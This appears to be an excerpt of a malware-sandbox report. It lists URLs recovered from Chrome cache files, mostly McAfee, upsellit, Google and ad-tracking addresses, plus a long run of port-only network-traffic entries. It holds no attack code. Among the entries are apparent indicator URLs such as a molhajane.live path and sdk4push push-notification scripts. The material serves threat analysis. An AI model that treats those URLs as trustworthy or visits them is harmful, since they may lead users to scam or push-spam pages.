Source: chromecache_333.1.dr	String found in binary or memory: https://molhajane.live/iltnvcec/
Source: chromecache_393.1.dr	String found in binary or memory: https://myaccount.mcafee.com/v2/dashboard/en-us/0
Source: chromecache_440.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_393.1.dr	String found in binary or memory: https://pixel.quantserve.com
Source: chromecache_346.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_532.1.dr	String found in binary or memory: https://popper.js.org/)
Source: chromecache_483.1.dr, chromecache_434.1.dr, chromecache_500.1.dr, chromecache_314.1.dr, chromecache_577.1.dr, chromecache_310.1.dr	String found in binary or memory: https://prod.upsellit.com
Source: chromecache_474.1.dr, chromecache_312.1.dr	String found in binary or memory: https://prod.upsellit.com/chatskins/5948/Shield50_355X365_white.gif
Source: chromecache_393.1.dr	String found in binary or memory: https://protection-qa-roadhouse-int.dvqa.mcafee.com/dbm/summary?dbmUpgrade=false
Source: chromecache_393.1.dr	String found in binary or memory: https://protection.mcafee.com/dashboard?skip-welcome=1&source=feyncart
Source: chromecache_393.1.dr	String found in binary or memory: https://protection.mcafee.com/dbm/summary?dbmUpgraded=false
Source: chromecache_393.1.dr	String found in binary or memory: https://rtr.innovid.com
Source: chromecache_393.1.dr	String found in binary or memory: https://s-static.innovid.com
Source: chromecache_341.1.dr, chromecache_399.1.dr	String found in binary or memory: https://s.amazon-adsystem.com/iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart
Source: chromecache_393.1.dr	String found in binary or memory: https://s.go-mpulse.net/boomerang/
Source: chromecache_393.1.dr	String found in binary or memory: https://s.yimg.com
Source: chromecache_382.1.dr, chromecache_528.1.dr	String found in binary or memory: https://s.yimg.com/wi/ytc.js
Source: chromecache_393.1.dr	String found in binary or memory: https://s2.go-mpulse.net/boomerang/
Source: chromecache_371.1.dr	String found in binary or memory: https://sdk4push.com/f/sdk.js?z=1211351
Source: chromecache_296.1.dr	String found in binary or memory: https://sdk4push.com/f/sw.js
Source: chromecache_393.1.dr	String found in binary or memory: https://secure.quantserve.com
Source: chromecache_393.1.dr	String found in binary or memory: https://service.mcafee.com
Source: chromecache_393.1.dr	String found in binary or memory: https://sp.analytics.yahoo.com
Source: chromecache_393.1.dr	String found in binary or memory: https://tags.tiqcdn.com
Source: chromecache_486.1.dr, chromecache_455.1.dr	String found in binary or memory: https://tags.tiqcdn.com/utag/tiqapp/utag.currency.js
Source: chromecache_393.1.dr, chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_346.1.dr	String found in binary or memory: https://translate.google.com
Source: chromecache_572.1.dr, chromecache_444.1.dr	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://translate.googleapis.com/element/log?format=json&hasfast=true
Source: chromecache_461.1.dr	String found in binary or memory: https://www.everestjs.net/static/le/last-event-tag-latest.min.js
Source: chromecache_440.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_346.1.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://www.google.com/support/translate
Source: chromecache_440.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_440.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_447.1.dr, chromecache_559.1.dr, chromecache_517.1.dr, chromecache_463.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chromecache_578.1.dr, chromecache_440.1.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_346.1.dr	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_68x28dp.png
Source: chromecache_552.1.dr, chromecache_346.1.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/1x/translate_24dp.png
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/close_ipt_2_browser
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/consumer/en-us/microsite/identity-protection/mcafee-identity-theft-protection
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.mcafee.com/consumer/ipz/cartservlet?operation=APPLY_PROMO
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/en-us/consumer-support/policy/legal.html
Source: chromecache_474.1.dr, chromecache_312.1.dr	String found in binary or memory: https://www.mcafee.com/en-us/index.html
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/fontawesom
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/poppins-v1
Source: chromecache_393.1.dr	String found in binary or memory: https://www.mcafee.com/support
Source: chromecache_393.1.dr, chromecache_483.1.dr, chromecache_434.1.dr, chromecache_500.1.dr, chromecache_314.1.dr, chromecache_577.1.dr, chromecache_310.1.dr	String found in binary or memory: https://www.upsellit.com
Source: chromecache_577.1.dr, chromecache_310.1.dr	String found in binary or memory: https://www.upsellit.com/active/mcafee.jsp
Source: chromecache_577.1.dr, chromecache_310.1.dr	String found in binary or memory: https://www.upsellit.com/active/mcafee_retention.jsp
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?mcafee=
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?mcafee_link=
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?original_price1=
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?original_price2=
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/launch/blank.jsp?original_price3=NOT_FOUND&url=
Source: chromecache_483.1.dr, chromecache_500.1.dr	String found in binary or memory: https://www.upsellit.com/utility/mcafee_test.jsp?mcafee_click_0
Source: chromecache_561.1.dr, chromecache_532.1.dr	String found in binary or memory: https://www.youtube.com/embed/
Source: chromecache_486.1.dr, chromecache_455.1.dr	String found in binary or memory: https://www.youtube.com/iframe_api

Source: unknown	Network traffic detected: HTTP traffic on port 56171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56159
Source: unknown	Network traffic detected: HTTP traffic on port 55785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56039
Source: unknown	Network traffic detected: HTTP traffic on port 56159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56165
Source: unknown	Network traffic detected: HTTP traffic on port 55842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56166
Source: unknown	Network traffic detected: HTTP traffic on port 56216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56161
Source: unknown	Network traffic detected: HTTP traffic on port 55865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56163
Source: unknown	Network traffic detected: HTTP traffic on port 56239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56160
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 56091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 56204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56169
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56177
Source: unknown	Network traffic detected: HTTP traffic on port 56182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56173
Source: unknown	Network traffic detected: HTTP traffic on port 55979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56054
Source: unknown	Network traffic detected: HTTP traffic on port 56113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56175
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56170
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56171
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 56205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56059
Source: unknown	Network traffic detected: HTTP traffic on port 56045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56067
Source: unknown	Network traffic detected: HTTP traffic on port 56158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56189
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56184
Source: unknown	Network traffic detected: HTTP traffic on port 55819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56180
Source: unknown	Network traffic detected: HTTP traffic on port 55909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56181
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 55796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 55773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56199
Source: unknown	Network traffic detected: HTTP traffic on port 55762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56073
Source: unknown	Network traffic detected: HTTP traffic on port 56136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56197
Source: unknown	Network traffic detected: HTTP traffic on port 56238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56193
Source: unknown	Network traffic detected: HTTP traffic on port 55889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56119
Source: unknown	Network traffic detected: HTTP traffic on port 55875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56242
Source: unknown	Network traffic detected: HTTP traffic on port 55817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56123
Source: unknown	Network traffic detected: HTTP traffic on port 56181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56241
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56129
Source: unknown	Network traffic detected: HTTP traffic on port 55763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56248
Source: unknown	Network traffic detected: HTTP traffic on port 55912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56133
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56135
Source: unknown	Network traffic detected: HTTP traffic on port 55841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56252
Source: unknown	Network traffic detected: HTTP traffic on port 56169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56138
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56144
Source: unknown	Network traffic detected: HTTP traffic on port 56135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56145
Source: unknown	Network traffic detected: HTTP traffic on port 56240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56146
Source: unknown	Network traffic detected: HTTP traffic on port 55840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56140
Source: unknown	Network traffic detected: HTTP traffic on port 55863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 56070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 56206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 56101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56149
Source: unknown	Network traffic detected: HTTP traffic on port 55786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56155
Source: unknown	Network traffic detected: HTTP traffic on port 56157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56157
Source: unknown	Network traffic detected: HTTP traffic on port 56180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56150
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56153
Source: unknown	Network traffic detected: HTTP traffic on port 56092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 55797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55907
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55909
Source: unknown	Network traffic detected: HTTP traffic on port 56207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55918
Source: unknown	Network traffic detected: HTTP traffic on port 56088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55913
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55914
Source: unknown	Network traffic detected: HTTP traffic on port 55851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55915
Source: unknown	Network traffic detected: HTTP traffic on port 56116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55910
Source: unknown	Network traffic detected: HTTP traffic on port 56151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55912
Source: unknown	Network traffic detected: HTTP traffic on port 55788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55809
Source: unknown	Network traffic detected: HTTP traffic on port 56087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55804
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55800
Source: unknown	Network traffic detected: HTTP traffic on port 55873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55802
Source: unknown	Network traffic detected: HTTP traffic on port 56173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55818
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55819
Source: unknown	Network traffic detected: HTTP traffic on port 55805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55810
Source: unknown	Network traffic detected: HTTP traffic on port 56139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55812
Source: unknown	Network traffic detected: HTTP traffic on port 55918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56089 -> 443
